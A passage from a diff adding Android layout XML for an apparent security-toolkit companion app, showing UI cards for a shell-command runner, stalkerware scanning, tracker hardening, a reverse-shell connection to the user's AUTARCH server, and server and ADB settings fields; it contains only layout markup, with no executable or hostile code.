||||||
|
android:layout_height="40dp"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:hint="shell command..."
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:textColorHint="@color/text_secondary"
|
||||||
|
android:textSize="13sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:inputType="text"
|
||||||
|
android:background="@color/surface_dark"
|
||||||
|
android:paddingStart="8dp"
|
||||||
|
android:paddingEnd="8dp"
|
||||||
|
android:singleLine="true" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_archon_run"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="36dp"
|
||||||
|
android:text="RUN"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="@color/terminal_green" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Server control buttons -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_archon_info"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="INFO"
|
||||||
|
android:textSize="11sp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_archon_ping"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="PING"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_archon_packages"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="APPS"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- ═══ Protection Shield Card ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<!-- Title row -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="4dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/shield_status_dot"
|
||||||
|
android:layout_width="10dp"
|
||||||
|
android:layout_height="10dp"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="Protection Shield"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="v1.0"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Scan & remove stalkerware"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<!-- Scan buttons row 1 -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_shield_full_scan"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="FULL SCAN"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:textSize="11sp"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="@color/terminal_green" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_shield_scan_packages"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="PACKAGES"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Scan buttons row 2 -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_shield_scan_admins"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="ADMINS"
|
||||||
|
android:textSize="11sp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_shield_scan_certs"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="CERTS"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_shield_scan_network"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="NETWORK"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Shield status -->
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/shield_status_text"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Last: no scan run"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- ═══ Tracking Honeypot Card ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<!-- Title row -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="4dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/honeypot_status_dot"
|
||||||
|
android:layout_width="10dp"
|
||||||
|
android:layout_height="10dp"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="Tracking Honeypot"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="v1.0"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Block trackers & fake data"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<!-- Honeypot buttons row 1 -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_honeypot_harden"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="HARDEN ALL"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:textSize="11sp"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="@color/terminal_green" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_honeypot_reset_ad"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="RESET AD ID"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Honeypot buttons row 2 -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_honeypot_dns"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="PRIVATE DNS"
|
||||||
|
android:textSize="11sp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_honeypot_restrict"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="RESTRICT"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_honeypot_revoke"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="REVOKE"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Honeypot status -->
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/honeypot_status_text"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Status: idle"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- ═══ Reverse Shell Card ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<!-- Title row -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="4dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/revshell_status_dot"
|
||||||
|
android:layout_width="10dp"
|
||||||
|
android:layout_height="10dp"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="Reverse Shell"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="v1.0"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Remote shell to AUTARCH server"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<!-- RevShell enable/disable row -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_revshell_enable"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="ENABLE"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:textSize="11sp"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="#FFFF6600" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_revshell_disable"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="DISABLE"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- RevShell connect/disconnect/status row -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_revshell_connect"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="CONNECT"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:textSize="11sp"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="@color/terminal_green" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_revshell_disconnect"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="DISCONNECT"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_revshell_status"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="STATUS"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- RevShell status -->
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/revshell_status_text"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Status: Disabled"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- ═══ Output Log ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
app:cardBackgroundColor="@color/surface_dark"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="12dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Output:"
|
||||||
|
android:textColor="@color/terminal_green_dim"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="4dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/modules_output_log"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="> ready_"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:lineSpacingExtra="2dp"
|
||||||
|
android:minLines="8" />
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</ScrollView>
|
||||||
310
autarch_companion/app/src/main/res/layout/fragment_settings.xml
Normal file
310
autarch_companion/app/src/main/res/layout/fragment_settings.xml
Normal file
@ -0,0 +1,310 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<ScrollView
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:background="@color/background"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/settings_title"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="24sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="16dp" />
|
||||||
|
|
||||||
|
<!-- Server Connection -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/server_connection"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="8dp"
|
||||||
|
android:hint="@string/hint_server_ip"
|
||||||
|
app:boxStrokeColor="@color/terminal_green"
|
||||||
|
app:hintTextColor="@color/terminal_green">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_server_ip"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:inputType="text"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="8dp"
|
||||||
|
android:hint="@string/hint_web_port"
|
||||||
|
app:boxStrokeColor="@color/terminal_green"
|
||||||
|
app:hintTextColor="@color/terminal_green">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_web_port"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:inputType="number"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- Port Configuration -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/adb_configuration"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="8dp"
|
||||||
|
android:hint="@string/hint_adb_port"
|
||||||
|
app:boxStrokeColor="@color/terminal_green"
|
||||||
|
app:hintTextColor="@color/terminal_green">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_adb_port"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:inputType="number"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="8dp"
|
||||||
|
android:hint="@string/hint_usbip_port"
|
||||||
|
app:boxStrokeColor="@color/terminal_green"
|
||||||
|
app:hintTextColor="@color/terminal_green">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_usbip_port"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:inputType="number"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
|
|
||||||
|
<com.google.android.material.materialswitch.MaterialSwitch
|
||||||
|
android:id="@+id/switch_settings_auto_restart"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="@string/auto_restart_adb"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
app:thumbTint="@color/terminal_green"
|
||||||
|
app:trackTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- Veilid BBS (Coming Soon) -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp"
|
||||||
|
android:alpha="0.6">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="@string/bbs_configuration"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
